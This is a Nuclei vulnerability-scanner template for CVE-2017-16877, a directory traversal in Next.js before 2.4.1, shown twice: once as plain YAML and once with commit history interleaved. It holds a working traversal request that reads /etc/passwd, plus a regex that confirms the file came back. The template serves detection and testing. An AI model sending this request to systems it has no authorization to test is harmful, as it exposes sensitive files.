nuclei-templates/cves/2017/CVE-2017-16877.yaml

id: CVE-2017-16877

info:
  name: Nextjs v2.4.1 LFI
  author: pikpikcu
  severity: high
  description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
  reference:
    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16877
    cwe-id: CWE-22
  tags: cve,cve2017,nextjs,lfi,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
        condition: and

      - type: status
        status:
          - 200
Create CVE-2017-16877.yaml 2021-02-26 15:05:49 +00:00			`id: CVE-2017-16877`

			`info:`
			`name: Nextjs v2.4.1 LFI`
			`author: pikpikcu`
			`severity: high`
Descriptions and references 2021-04-18 13:00:27 +00:00			`description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2017-16877`
			`cwe-id: CWE-22`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2017,nextjs,lfi,traversal`
Create CVE-2017-16877.yaml 2021-02-26 15:05:49 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"`

			`matchers-condition: and`
			`matchers:`

			`- type: regex`
			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Create CVE-2017-16877.yaml 2021-02-26 15:05:49 +00:00			`part: body`
			`condition: and`

			`- type: status`
			`status:`
			`- 200`